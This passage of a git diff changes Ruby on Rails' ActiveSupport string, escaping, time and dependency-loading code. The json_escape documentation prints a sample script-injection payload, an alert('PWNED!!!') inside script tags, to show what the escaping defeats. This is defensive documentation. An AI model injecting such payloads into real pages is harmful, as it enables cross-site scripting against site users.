-  #   "hello".exclude? ?h   #=> false
+  #   "hello".exclude? "lo" # => false
+  #   "hello".exclude? "ol" # => true
+  #   "hello".exclude? ?h   # => false
   def exclude?(string)
     !include?(string)
   end
diff --git a/activesupport/lib/active_support/core_ext/string/filters.rb b/activesupport/lib/active_support/core_ext/string/filters.rb
index 49c0df6026..096292dc58 100644
--- a/activesupport/lib/active_support/core_ext/string/filters.rb
+++ b/activesupport/lib/active_support/core_ext/string/filters.rb
@@ -3,7 +3,7 @@ class String
   # the string, and then changing remaining consecutive whitespace
   # groups into one space each.
   #
-  # Note that it handles both ASCII and Unicode whitespace like mongolian vowel separator (U+180E).
+  # Note that it handles both ASCII and Unicode whitespace.
   #
   #   %{ Multi-line
   #      string }.squish                   # => "Multi-line string"
@@ -13,6 +13,9 @@ class String
   end
 
   # Performs a destructive squish. See String#squish.
+  #   str = " foo   bar    \n   \t   boo"
+  #   str.squish!                         # => "foo bar boo"
+  #   str                                 # => "foo bar boo"
   def squish!
     gsub!(/\A[[:space:]]+/, '')
     gsub!(/[[:space:]]+\z/, '')
@@ -20,14 +23,24 @@ class String
     self
   end
 
-  # Returns a new string with all occurrences of the pattern removed. Short-hand for String#gsub(pattern, '').
-  def remove(pattern)
-    gsub pattern, ''
+  # Returns a new string with all occurrences of the patterns removed.
+  #   str = "foo bar test"
+  #   str.remove(" test")                 # => "foo bar"
+  #   str                                 # => "foo bar test"
+  def remove(*patterns)
+    dup.remove!(*patterns)
   end
 
-  # Alters the string by removing all occurrences of the pattern. Short-hand for String#gsub!(pattern, '').
-  def remove!(pattern)
-    gsub! pattern, ''
+  # Alters the string by removing all occurrences of the patterns.
+  #   str = "foo bar test"
+  #   str.remove!(" test")                 # => "foo bar"
+  #   str                                  # => "foo bar"
+  def remove!(*patterns)
+    patterns.each do |pattern|
+      gsub! pattern, ""
+    end
+
+    self
   end
 
   # Truncates a given +text+ after a given <tt>length</tt> if +text+ is longer than <tt>length</tt>:
@@ -62,4 +75,28 @@ class String
 
     "#{self[0, stop]}#{omission}"
   end
+
+  # Truncates a given +text+ after a given number of words (<tt>words_count</tt>):
+  #
+  #   'Once upon a time in a world far far away'.truncate_words(4)
+  #   # => "Once upon a time..."
+  #
+  # Pass a string or regexp <tt>:separator</tt> to specify a different separator of words:
+  #
+  #   'Once<br>upon<br>a<br>time<br>in<br>a<br>world'.truncate_words(5, separator: '<br>')
+  #   # => "Once<br>upon<br>a<br>time<br>in..."
+  #
+  # The last characters will be replaced with the <tt>:omission</tt> string (defaults to "..."):
+  #
+  #   'And they found that many people were sleeping better.'.truncate_words(5, omission: '... (continued)')
+  #   # => "And they found that many... (continued)"
+  def truncate_words(words_count, options = {})
+    sep = options[:separator] || /\s+/
+    sep = Regexp.escape(sep.to_s) unless Regexp === sep
+    if self =~ /\A((?:.+?#{sep}){#{words_count - 1}}.+?)#{sep}.*/m
+      $1 + (options[:omission] || '...')
+    else
+      dup
+    end
+  end
 end
diff --git a/activesupport/lib/active_support/core_ext/string/inflections.rb b/activesupport/lib/active_support/core_ext/string/inflections.rb
index 56e8a5f98d..38d567c014 100644
--- a/activesupport/lib/active_support/core_ext/string/inflections.rb
+++ b/activesupport/lib/active_support/core_ext/string/inflections.rb
@@ -31,7 +31,7 @@ class String
   def pluralize(count = nil, locale = :en)
     locale = count if count.is_a?(Symbol)
     if count == 1
-      self
+      self.dup
     else
       ActiveSupport::Inflector.pluralize(self, locale)
     end
@@ -130,6 +130,8 @@ class String
   #
   #   'ActiveRecord::CoreExtensions::String::Inflections'.demodulize # => "Inflections"
   #   'Inflections'.demodulize                                       # => "Inflections"
+  #   '::Inflections'.demodulize                                     # => "Inflections"
+  #   ''.demodulize                                                  # => ''
   #
   # See also +deconstantize+.
   def demodulize
@@ -182,21 +184,24 @@ class String
   #
   #   'egg_and_hams'.classify # => "EggAndHam"
   #   'posts'.classify        # => "Post"
-  #
-  # Singular names are not handled correctly.
-  #
-  #   'business'.classify # => "Business"
   def classify
     ActiveSupport::Inflector.classify(self)
   end
 
-  # Capitalizes the first word, turns underscores into spaces, and strips '_id'.
+  # Capitalizes the first word, turns underscores into spaces, and strips a
+  # trailing '_id' if present.
   # Like +titleize+, this is meant for creating pretty output.
   #
-  #   'employee_salary'.humanize # => "Employee salary"
-  #   'author_id'.humanize       # => "Author"
-  def humanize
-    ActiveSupport::Inflector.humanize(self)
+  # The capitalization of the first word can be turned off by setting the
+  # optional parameter +capitalize+ to false.
+  # By default, this parameter is true.
+  #
+  #   'employee_salary'.humanize              # => "Employee salary"
+  #   'author_id'.humanize                    # => "Author"
+  #   'author_id'.humanize(capitalize: false) # => "author"
+  #   '_id'.humanize                          # => "Id"
+  def humanize(options = {})
+    ActiveSupport::Inflector.humanize(self, options)
   end
 
   # Creates a foreign key name from a class name.
diff --git a/activesupport/lib/active_support/core_ext/string/multibyte.rb b/activesupport/lib/active_support/core_ext/string/multibyte.rb
index a124202936..2eedd4fdb1 100644
--- a/activesupport/lib/active_support/core_ext/string/multibyte.rb
+++ b/activesupport/lib/active_support/core_ext/string/multibyte.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'active_support/multibyte'
 
 class String
diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb
index dc033ed11b..bae4e206e6 100644
--- a/activesupport/lib/active_support/core_ext/string/output_safety.rb
+++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb
@@ -4,9 +4,10 @@ require 'active_support/core_ext/kernel/singleton_class'
 class ERB
   module Util
     HTML_ESCAPE = { '&' => '&amp;',  '>' => '&gt;',   '<' => '&lt;', '"' => '&quot;', "'" => '&#39;' }
-    JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003E', '<' => '\u003C' }
-    HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+));)/
-    JSON_ESCAPE_REGEXP = /[&"><]/
+    JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003e', '<' => '\u003c', "\u2028" => '\u2028', "\u2029" => '\u2029' }
+    HTML_ESCAPE_REGEXP = /[&"'><]/
+    HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+)|(#[xX][\dA-Fa-f]+));)/
+    JSON_ESCAPE_REGEXP = /[\u2028\u2029&><]/u
 
     # A utility method for escaping HTML tag characters.
     # This method is also aliased as <tt>h</tt>.
@@ -17,12 +18,7 @@ class ERB
     #   puts html_escape('is a > 0 & a < 10?')
     #   # => is a &gt; 0 &amp; a &lt; 10?
     def html_escape(s)
-      s = s.to_s
-      if s.html_safe?
-        s
-      else
-        s.gsub(/[&"'><]/, HTML_ESCAPE).html_safe
-      end
+      unwrapped_html_escape(s).html_safe
     end
 
     # Aliasing twice issues a warning "discarding old...". Remove first to avoid it.
@@ -34,6 +30,18 @@ class ERB
     singleton_class.send(:remove_method, :html_escape)
     module_function :html_escape
 
+    # HTML escapes strings but doesn't wrap them with an ActiveSupport::SafeBuffer.
+    # This method is not for public consumption! Seriously!
+    def unwrapped_html_escape(s) # :nodoc:
+      s = s.to_s
+      if s.html_safe?
+        s
+      else
+        s.gsub(HTML_ESCAPE_REGEXP, HTML_ESCAPE)
+      end
+    end
+    module_function :unwrapped_html_escape
+
     # A utility method for escaping HTML without affecting existing escaped entities.
     #
     #   html_escape_once('1 < 2 &amp; 3')
@@ -48,17 +56,61 @@ class ERB
 
     module_function :html_escape_once
 
-    # A utility method for escaping HTML entities in JSON strings
-    # using \uXXXX JavaScript escape sequences for string literals:
+    # A utility method for escaping HTML entities in JSON strings. Specifically, the
+    # &, > and < characters are replaced with their equivalent unicode escaped form -
+    # \u0026, \u003e, and \u003c. The Unicode sequences \u2028 and \u2029 are also
+    # escaped as they are treated as newline characters in some JavaScript engines.
+    # These sequences have identical meaning as the original characters inside the
+    # context of a JSON string, so assuming the input is a valid and well-formed
+    # JSON value, the output will have equivalent meaning when parsed:
+    #
+    #   json = JSON.generate({ name: "</script><script>alert('PWNED!!!')</script>"})
+    #   # => "{\"name\":\"</script><script>alert('PWNED!!!')</script>\"}"
+    #
+    #   json_escape(json)
+    #   # => "{\"name\":\"\\u003C/script\\u003E\\u003Cscript\\u003Ealert('PWNED!!!')\\u003C/script\\u003E\"}"
+    #
+    #   JSON.parse(json) == JSON.parse(json_escape(json))
+    #   # => true
+    #
+    # The intended use case for this method is to escape JSON strings before including
+    # them inside a script tag to avoid XSS vulnerability:
+    #
+    #   <script>
+    #     var currentUser = <%= raw json_escape(current_user.to_json) %>;
+    #   </script>
     #
-    #   json_escape('is a > 0 & a < 10?')
-    #   # => is a \u003E 0 \u0026 a \u003C 10?
+    # It is necessary to +raw+ the result of +json_escape+, so that quotation marks
+    # don't get converted to <tt>&quot;</tt> entities. +json_escape+ doesn't
+    # automatically flag the result as HTML safe, since the raw value is unsafe to
+    # use inside HTML attributes.
     #
-    # Note that after this operation is performed the output is not
-    # valid JSON. In particular double quotes are removed:
+    # If your JSON is being used downstream for insertion into the DOM, be aware of
+    # whether or not it is being inserted via +html()+. Most JQuery plugins do this.
+    # If that is the case, be sure to +html_escape+ or +sanitize+ any user-generated
+    # content returned by your JSON.
     #
-    #   json_escape('{"name":"john","created_at":"2010-04-28T01:39:31Z","id":1}')
-    #   # => {name:john,created_at:2010-04-28T01:39:31Z,id:1}
+    # If you need to output JSON elsewhere in your HTML, you can just do something
+    # like this, as any unsafe characters (including quotation marks) will be
+    # automatically escaped for you:
+    #
+    #   <div data-user-info="<%= current_user.to_json %>">...</div>
+    #
+    # WARNING: this helper only works with valid JSON. Using this on non-JSON values
+    # will open up serious XSS vulnerabilities. For example, if you replace the
+    # +current_user.to_json+ in the example above with user input instead, the browser
+    # will happily eval() that string as JavaScript.
+    #
+    # The escaping performed in this method is identical to those performed in the
+    # Active Support JSON encoder when +ActiveSupport.escape_html_entities_in_json+ is
+    # set to true. Because this transformation is idempotent, this helper can be
+    # applied even if +ActiveSupport.escape_html_entities_in_json+ is already true.
+    #
+    # Therefore, when you are unsure if +ActiveSupport.escape_html_entities_in_json+
+    # is enabled, or if you are unsure where your JSON string originated from, it
+    # is recommended that you always apply this helper (other libraries, such as the
+    # JSON gem, do not provide this kind of protection by default; also some gems
+    # might override +to_json+ to bypass Active Support's encoder).
     def json_escape(s)
       result = s.to_s.gsub(JSON_ESCAPE_REGEXP, JSON_ESCAPE)
       s.html_safe? ? result.html_safe : result
@@ -84,7 +136,7 @@ module ActiveSupport #:nodoc:
   class SafeBuffer < String
     UNSAFE_STRING_METHODS = %w(
       capitalize chomp chop delete downcase gsub lstrip next reverse rstrip
-      slice squeeze strip sub succ swapcase tr tr_s upcase prepend
+      slice squeeze strip sub succ swapcase tr tr_s upcase
     )
 
     alias_method :original_concat, :concat
@@ -102,7 +154,11 @@ module ActiveSupport #:nodoc:
       else
         if html_safe?
           new_safe_buffer = super
-          new_safe_buffer.instance_eval { @html_safe = true }
+
+          if new_safe_buffer
+            new_safe_buffer.instance_variable_set :@html_safe, true
+          end
+
           new_safe_buffer
         else
           to_str[*args]
@@ -130,28 +186,27 @@ module ActiveSupport #:nodoc:
     end
 
     def concat(value)
-      if !html_safe? || value.html_safe?
-        super(value)
-      else
-        super(ERB::Util.h(value))
-      end
+      super(html_escape_interpolated_argument(value))
     end
     alias << concat
 
+    def prepend(value)
+      super(html_escape_interpolated_argument(value))
+    end
+
     def +(other)
       dup.concat(other)
     end
 
     def %(args)
-      args = Array(args).map do |arg|
-        if !html_safe? || arg.html_safe?
-          arg
-        else
-          ERB::Util.h(arg)
-        end
+      case args
+      when Hash
+        escaped_args = Hash[args.map { |k,arg| [k, html_escape_interpolated_argument(arg)] }]
+      else
+        escaped_args = Array(args).map { |arg| html_escape_interpolated_argument(arg) }
       end
 
-      self.class.new(super(args))
+      self.class.new(super(escaped_args))
     end
 
     def html_safe?
@@ -167,11 +222,11 @@ module ActiveSupport #:nodoc:
     end
 
     def encode_with(coder)
-      coder.represent_scalar nil, to_str
+      coder.represent_object nil, to_str
     end
 
     UNSAFE_STRING_METHODS.each do |unsafe_method|
-      if 'String'.respond_to?(unsafe_method)
+      if unsafe_method.respond_to?(unsafe_method)
         class_eval <<-EOT, __FILE__, __LINE__ + 1
           def #{unsafe_method}(*args, &block)       # def capitalize(*args, &block)
             to_str.#{unsafe_method}(*args, &block)  #   to_str.capitalize(*args, &block)
@@ -184,10 +239,22 @@ module ActiveSupport #:nodoc:
         EOT
       end
     end
+
+    private
+
+    def html_escape_interpolated_argument(arg)
+      (!html_safe? || arg.html_safe?) ? arg :
+        arg.to_s.gsub(ERB::Util::HTML_ESCAPE_REGEXP, ERB::Util::HTML_ESCAPE)
+    end
   end
 end
 
 class String
+  # Marks a string as trusted safe. It will be inserted into HTML with no
+  # additional escaping performed. It is your responsibilty to ensure that the
+  # string contains no malicious content. This method is equivalent to the
+  # `raw` helper in views. It is recommended that you use `sanitize` instead of
+  # this method. It should never be called on user input.
   def html_safe
     ActiveSupport::SafeBuffer.new(self)
   end
diff --git a/activesupport/lib/active_support/core_ext/struct.rb b/activesupport/lib/active_support/core_ext/struct.rb
index c2c30044f2..1fde3db070 100644
--- a/activesupport/lib/active_support/core_ext/struct.rb
+++ b/activesupport/lib/active_support/core_ext/struct.rb
@@ -1,6 +1,3 @@
-#  Backport of Struct#to_h from Ruby 2.0
-class Struct # :nodoc:
-  def to_h
-    Hash[members.zip(values)]
-  end
-end unless Struct.instance_methods.include?(:to_h)
+require 'active_support/deprecation'
+
+ActiveSupport::Deprecation.warn("This file is deprecated and will be removed in Rails 5.1 with no replacement.")
diff --git a/activesupport/lib/active_support/core_ext/thread.rb b/activesupport/lib/active_support/core_ext/thread.rb
deleted file mode 100644
index e80f442973..0000000000
--- a/activesupport/lib/active_support/core_ext/thread.rb
+++ /dev/null
@@ -1,79 +0,0 @@
-class Thread
-  LOCK = Mutex.new # :nodoc:
-
-  # Returns the value of a thread local variable that has been set. Note that
-  # these are different than fiber local values.
-  #
-  # Thread local values are carried along with threads, and do not respect
-  # fibers. For example:
-  #
-  #   Thread.new {
-  #     Thread.current.thread_variable_set("foo", "bar") # set a thread local
-  #     Thread.current["foo"] = "bar"                    # set a fiber local
-  #
-  #     Fiber.new {
-  #       Fiber.yield [
-  #         Thread.current.thread_variable_get("foo"), # get the thread local
-  #         Thread.current["foo"],                     # get the fiber local
-  #       ]
-  #     }.resume
-  #   }.join.value # => ['bar', nil]
-  #
-  # The value <tt>"bar"</tt> is returned for the thread local, where +nil+ is returned
-  # for the fiber local. The fiber is executed in the same thread, so the
-  # thread local values are available.
-  def thread_variable_get(key)
-    _locals[key.to_sym]
-  end
-
-  # Sets a thread local with +key+ to +value+. Note that these are local to
-  # threads, and not to fibers. Please see Thread#thread_variable_get for
-  # more information.
-  def thread_variable_set(key, value)
-    _locals[key.to_sym] = value
-  end
-
-  # Returns an an array of the names of the thread-local variables (as Symbols).
-  #
-  #    thr = Thread.new do
-  #      Thread.current.thread_variable_set(:cat, 'meow')
-  #      Thread.current.thread_variable_set("dog", 'woof')
-  #    end
-  #    thr.join               #=> #<Thread:0x401b3f10 dead>
-  #    thr.thread_variables   #=> [:dog, :cat]
-  #
-  # Note that these are not fiber local variables. Please see Thread#thread_variable_get
-  # for more details.
-  def thread_variables
-    _locals.keys
-  end
-
-  # Returns <tt>true</tt> if the given string (or symbol) exists as a
-  # thread-local variable.
-  #
-  #    me = Thread.current
-  #    me.thread_variable_set(:oliver, "a")
-  #    me.thread_variable?(:oliver)    #=> true
-  #    me.thread_variable?(:stanley)   #=> false
-  #
-  # Note that these are not fiber local variables. Please see Thread#thread_variable_get
-  # for more details.
-  def thread_variable?(key)
-    _locals.has_key?(key.to_sym)
-  end
-
-  def freeze
-    _locals.freeze
-    super
-  end
-
-  private
-
-  def _locals
-    if defined?(@_locals)
-      @_locals
-    else
-      LOCK.synchronize { @_locals ||= {} }
-    end
-  end
-end unless Thread.instance_methods.include?(:thread_variable_set)
diff --git a/activesupport/lib/active_support/core_ext/time.rb b/activesupport/lib/active_support/core_ext/time.rb
index 32cffe237d..72c3234630 100644
--- a/activesupport/lib/active_support/core_ext/time.rb
+++ b/activesupport/lib/active_support/core_ext/time.rb
@@ -1,5 +1,4 @@
 require 'active_support/core_ext/time/acts_like'
 require 'active_support/core_ext/time/calculations'
 require 'active_support/core_ext/time/conversions'
-require 'active_support/core_ext/time/marshal'
 require 'active_support/core_ext/time/zones'
diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb
index 6e0af0db4d..13610ba19f 100644
--- a/activesupport/lib/active_support/core_ext/time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/time/calculations.rb
@@ -64,11 +64,12 @@ class Time
 
   # Returns a new Time where one or more of the elements have been changed according
   # to the +options+ parameter. The time options (<tt>:hour</tt>, <tt>:min</tt>,
-  # <tt>:sec</tt>, <tt>:usec</tt>) reset cascadingly, so if only the hour is passed,
-  # then minute, sec, and usec is set to 0. If the hour and minute is passed, then
-  # sec and usec is set to 0.  The +options+ parameter takes a hash with any of these
-  # keys: <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:min</tt>,
-  # <tt>:sec</tt>, <tt>:usec</tt>.
+  # <tt>:sec</tt>, <tt>:usec</tt>, <tt>:nsec</tt>) reset cascadingly, so if only
+  # the hour is passed, then minute, sec, usec and nsec is set to 0. If the hour
+  # and minute is passed, then sec, usec and nsec is set to 0. The +options+
+  # parameter takes a hash with any of these keys: <tt>:year</tt>, <tt>:month</tt>,
+  # <tt>:day</tt>, <tt>:hour</tt>, <tt>:min</tt>, <tt>:sec</tt>, <tt>:usec</tt>
+  # <tt>:nsec</tt>. Pass either <tt>:usec</tt> or <tt>:nsec</tt>, not both.
   #
   #   Time.new(2012, 8, 29, 22, 35, 0).change(day: 1)              # => Time.new(2012, 8, 1, 22, 35, 0)
   #   Time.new(2012, 8, 29, 22, 35, 0).change(year: 1981, day: 1)  # => Time.new(1981, 8, 1, 22, 35, 0)
@@ -80,21 +81,29 @@ class Time
     new_hour  = options.fetch(:hour, hour)
     new_min   = options.fetch(:min, options[:hour] ? 0 : min)
     new_sec   = options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec)
-    new_usec  = options.fetch(:usec, (options[:hour] || options[:min] || options[:sec]) ? 0 : Rational(nsec, 1000))
+
+    if new_nsec = options[:nsec]
+      raise ArgumentError, "Can't change both :nsec and :usec at the same time: #{options.inspect}" if options[:usec]
+      new_usec = Rational(new_nsec, 1000)
+    else
+      new_usec  = options.fetch(:usec, (options[:hour] || options[:min] || options[:sec]) ? 0 : Rational(nsec, 1000))
+    end
 
     if utc?
       ::Time.utc(new_year, new_month, new_day, new_hour, new_min, new_sec, new_usec)
     elsif zone
       ::Time.local(new_year, new_month, new_day, new_hour, new_min, new_sec, new_usec)
     else
+      raise ArgumentError, 'argument out of range' if new_usec > 999999
       ::Time.new(new_year, new_month, new_day, new_hour, new_min, new_sec + (new_usec.to_r / 1000000), utc_offset)
     end
   end
 
-  # Uses Date to provide precise Time calculations for years, months, and days.
-  # The +options+ parameter takes a hash with any of these keys: <tt>:years</tt>,
-  # <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
-  # <tt>:minutes</tt>, <tt>:seconds</tt>.
+  # Uses Date to provide precise Time calculations for years, months, and days
+  # according to the proleptic Gregorian calendar. The +options+ parameter
+  # takes a hash with any of these keys: <tt>:years</tt>, <tt>:months</tt>,
+  # <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>, <tt>:minutes</tt>,
+  # <tt>:seconds</tt>.
   def advance(options)
     unless options[:weeks].nil?
       options[:weeks], partial_weeks = options[:weeks].divmod(1)
@@ -107,6 +116,7 @@ class Time
     end
 
     d = to_date.advance(options)
+    d = d.gregorian if d.julian?
     time_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
     seconds_to_advance = \
       options.fetch(:seconds, 0) +
@@ -152,7 +162,7 @@ class Time
   alias :at_noon :middle_of_day
   alias :at_middle_of_day :middle_of_day
 
-  # Returns a new Time representing the end of the day, 23:59:59.999999 (.999999999 in ruby1.9)
+  # Returns a new Time representing the end of the day, 23:59:59.999999
   def end_of_day
     change(
       :hour => 23,
@@ -169,7 +179,7 @@ class Time
   end
   alias :at_beginning_of_hour :beginning_of_hour
 
-  # Returns a new Time representing the end of the hour, x:59:59.999999 (.999999999 in ruby1.9)
+  # Returns a new Time representing the end of the hour, x:59:59.999999
   def end_of_hour
     change(
       :min => 59,
@@ -185,7 +195,7 @@ class Time
   end
   alias :at_beginning_of_minute :beginning_of_minute
 
-  # Returns a new Time representing the end of the minute, x:xx:59.999999 (.999999999 in ruby1.9)
+  # Returns a new Time representing the end of the minute, x:xx:59.999999
   def end_of_minute
     change(
       :sec => 59,
@@ -199,27 +209,6 @@ class Time
     beginning_of_day..end_of_day
   end
 
-  # Returns a Range representing the whole week of the current time.
-  # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set.
-  def all_week(start_day = Date.beginning_of_week)
-    beginning_of_week(start_day)..end_of_week(start_day)
-  end
-
-  # Returns a Range representing the whole month of the current time.
-  def all_month
-    beginning_of_month..end_of_month
-  end
-
-  # Returns a Range representing the whole quarter of the current time.
-  def all_quarter
-    beginning_of_quarter..end_of_quarter
-  end
-
-  # Returns a Range representing the whole year of the current time.
-  def all_year
-    beginning_of_year..end_of_year
-  end
-
   def plus_with_duration(other) #:nodoc:
     if ActiveSupport::Duration === other
       other.since(self)
diff --git a/activesupport/lib/active_support/core_ext/time/conversions.rb b/activesupport/lib/active_support/core_ext/time/conversions.rb
index 9fd26156c7..dbf1f2f373 100644
--- a/activesupport/lib/active_support/core_ext/time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/time/conversions.rb
@@ -20,7 +20,7 @@ class Time
     :iso8601      => lambda { |time| time.iso8601 }
   }
 
-  # Converts to a formatted string. See DATE_FORMATS for builtin formats.
+  # Converts to a formatted string. See DATE_FORMATS for built-in formats.
   #
   # This method is aliased to <tt>to_s</tt>.
   #
diff --git a/activesupport/lib/active_support/core_ext/time/marshal.rb b/activesupport/lib/active_support/core_ext/time/marshal.rb
index 497c4c3fb8..467bad1726 100644
--- a/activesupport/lib/active_support/core_ext/time/marshal.rb
+++ b/activesupport/lib/active_support/core_ext/time/marshal.rb
@@ -1,30 +1,3 @@
-# Ruby 1.9.2 adds utc_offset and zone to Time, but marshaling only
-# preserves utc_offset. Preserve zone also, even though it may not
-# work in some edge cases.
-if Time.local(2010).zone != Marshal.load(Marshal.dump(Time.local(2010))).zone
-  class Time
-    class << self
-      alias_method :_load_without_zone, :_load
-      def _load(marshaled_time)
-        time = _load_without_zone(marshaled_time)
-        time.instance_eval do
-          if zone = defined?(@_zone) && remove_instance_variable('@_zone')
-            ary = to_a
-            ary[0] += subsec if ary[0] == sec
-            ary[-1] = zone
-            utc? ? Time.utc(*ary) : Time.local(*ary)
-          else
-            self
-          end
-        end
-      end
-    end
+require 'active_support/deprecation'
 
-    alias_method :_dump_without_zone, :_dump
-    def _dump(*args)
-      obj = dup
-      obj.instance_variable_set('@_zone', zone)
-      obj.send :_dump_without_zone, *args
-    end
-  end
-end
+ActiveSupport::Deprecation.warn("This is deprecated and will be removed in Rails 5.1 with no replacement.")
diff --git a/activesupport/lib/active_support/core_ext/time/zones.rb b/activesupport/lib/active_support/core_ext/time/zones.rb
index bbda04d60c..0668eadb1e 100644
--- a/activesupport/lib/active_support/core_ext/time/zones.rb
+++ b/activesupport/lib/active_support/core_ext/time/zones.rb
@@ -1,4 +1,5 @@
 require 'active_support/time_with_zone'
+require 'active_support/core_ext/time/acts_like'
 require 'active_support/core_ext/date_and_time/zones'
 
 class Time
@@ -50,7 +51,16 @@ class Time
       end
     end
 
-    # Returns a TimeZone instance or nil, or raises an ArgumentError for invalid timezones.
+    # Returns a TimeZone instance matching the time zone provided.
+    # Accepts the time zone in any format supported by <tt>Time.zone=</tt>.
+    # Raises an ArgumentError for invalid time zones.
+    #
+    #   Time.find_zone! "America/New_York" # => #<ActiveSupport::TimeZone @name="America/New_York" ...>
+    #   Time.find_zone! "EST"              # => #<ActiveSupport::TimeZone @name="EST" ...>
+    #   Time.find_zone! -5.hours           # => #<ActiveSupport::TimeZone @name="Bogota" ...>
+    #   Time.find_zone! nil                # => nil
+    #   Time.find_zone! false              # => false
+    #   Time.find_zone! "NOT-A-TIMEZONE"   # => ArgumentError: Invalid Timezone: NOT-A-TIMEZONE
     def find_zone!(time_zone)
       if !time_zone || time_zone.is_a?(ActiveSupport::TimeZone)
         time_zone
@@ -71,6 +81,12 @@ class Time
       raise ArgumentError, "Invalid Timezone: #{time_zone}"
     end
 
+    # Returns a TimeZone instance matching the time zone provided.
+    # Accepts the time zone in any format supported by <tt>Time.zone=</tt>.
+    # Returns +nil+ for invalid time zones.
+    #
+    #   Time.find_zone "America/New_York" # => #<ActiveSupport::TimeZone @name="America/New_York" ...>
+    #   Time.find_zone "NOT-A-TIMEZONE"   # => nil
     def find_zone(time_zone)
       find_zone!(time_zone) rescue nil
     end
diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb
index db9f5d4baa..664cc15a29 100644
--- a/activesupport/lib/active_support/dependencies.rb
+++ b/activesupport/lib/active_support/dependencies.rb
@@ -8,6 +8,7 @@ require 'active_support/core_ext/module/introspection'
 require 'active_support/core_ext/module/anonymous'
 require 'active_support/core_ext/module/qualified_const'
 require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/kernel/reporting'
 require 'active_support/core_ext/load_error'
 require 'active_support/core_ext/name_error'
 require 'active_support/core_ext/string/starts_ends_with'
@@ -29,6 +30,10 @@ module ActiveSupport #:nodoc:
     mattr_accessor :loaded
     self.loaded = Set.new
 
+    # Stack of files being loaded.
+    mattr_accessor :loading
+    self.loading = []
+
     # Should we load files or require them?
     mattr_accessor :mechanism
     self.mechanism = ENV['NO_RELOAD'] ? :require : :load
@@ -175,14 +180,23 @@ module ActiveSupport #:nodoc:
       end
 
       def const_missing(const_name)
-        # The interpreter does not pass nesting information, and in the
-        # case of anonymous modules we cannot even make the trade-off of
-        # assuming their name reflects the nesting. Resort to Object as
-        # the only meaningful guess we can make.
-        from_mod = anonymous? ? ::Object : self
+        from_mod = anonymous? ? guess_for_anonymous(const_name) : self
         Dependencies.load_missing_constant(from_mod, const_name)
       end
 
+      # We assume that the name of the module reflects the nesting
+      # (unless it can be proven that is not the case) and the path to the file
+      # that defines the constant. Anonymous modules cannot follow these
+      # conventions and therefore we assume that the user wants to refer to a
+      # top-level constant.
+      def guess_for_anonymous(const_name)
+        if Object.const_defined?(const_name)
+          raise NameError.new "#{const_name} cannot be autoloaded from an anonymous class or module", const_name
+        else
+          Object
+        end
+      end
+
       def unloadable(const_desc = self)
         super(const_desc)
       end
@@ -191,16 +205,29 @@ module ActiveSupport #:nodoc:
     # Object includes this module.
     module Loadable #:nodoc:
       def self.exclude_from(base)
-        base.class_eval { define_method(:load, Kernel.instance_method(:load)) }
+        base.class_eval do
+          define_method(:load, Kernel.instance_method(:load))
+          private :load
+        end
       end
 
       def require_or_load(file_name)
         Dependencies.require_or_load(file_name)
       end
 
+      # Interprets a file using <tt>mechanism</tt> and marks its defined
+      # constants as autoloaded. <tt>file_name</tt> can be either a string or
+      # respond to <tt>to_path</tt>.
+      #
+      # Use this method in code that absolutely needs a certain constant to be
+      # defined at that point. A typical use case is to make constant name
+      # resolution deterministic for constants with the same relative name in
+      # different namespaces whose evaluation would depend on load order
+      # otherwise.
       def require_dependency(file_name, message = "No such file to load -- %s")
+        file_name = file_name.to_path if file_name.respond_to?(:to_path)
         unless file_name.is_a?(String)
-          raise ArgumentError, "the file name must be a String -- you passed #{file_name.inspect}"
+          raise ArgumentError, "the file name must either be a String or implement #to_path -- you passed #{file_name.inspect}"
         end
 
         Dependencies.depend_on(file_name, message)
@@ -217,18 +244,6 @@ module ActiveSupport #:nodoc:
         raise
       end
 
-      def load(file, wrap = false)
-        result = false
-        load_dependency(file) { result = super }
-        result
-      end
-
-      def require(file)
-        result = false
-        load_dependency(file) { result = super }
-        result
-      end
-
       # Mark the given constant as unloadable. Unloadable constants are removed
       # each time dependencies are cleared.
       #
@@ -245,6 +260,20 @@ module ActiveSupport #:nodoc:
       def unloadable(const_desc)
         Dependencies.mark_for_unload const_desc
       end
+
+      private
+
+      def load(file, wrap = false)
+        result = false
+        load_dependency(file) { result = super }
+        result
+      end
+
+      def require(file)
+        result = false
+        load_dependency(file) { result = super }
+        result
+      end
     end
 
     # Exception file-blaming.
@@ -297,6 +326,7 @@ module ActiveSupport #:nodoc:
     def clear
       log_call
       loaded.clear
+      loading.clear
       remove_unloadable_constants!
     end
 
@@ -309,6 +339,7 @@ module ActiveSupport #:nodoc:
       # Record that we've seen this file *before* loading it to avoid an
       # infinite loop with mutual dependencies.
       loaded << expanded
+      loading << expanded
 
       begin
         if load?
@@ -331,6 +362,8 @@ module ActiveSupport #:nodoc:
       rescue Exception
         loaded.delete expanded
         raise
+      ensure
+        loading.pop
       end
 
       # Record history *after* loading so first load gets warnings.
@@ -340,7 +373,7 @@ module ActiveSupport #:nodoc:
 
     # Is the provided constant path defined?
     def qualified_const_defined?(path)
-      Object.qualified_const_defined?(path.sub(/^::/, ''), false)
+      Object.const_defined?(path, false)
     end
 
     # Given +path+, a filesystem path to a ruby file, return an array of
@@ -388,7 +421,8 @@ module ActiveSupport #:nodoc:
     end
 
     def load_once_path?(path)
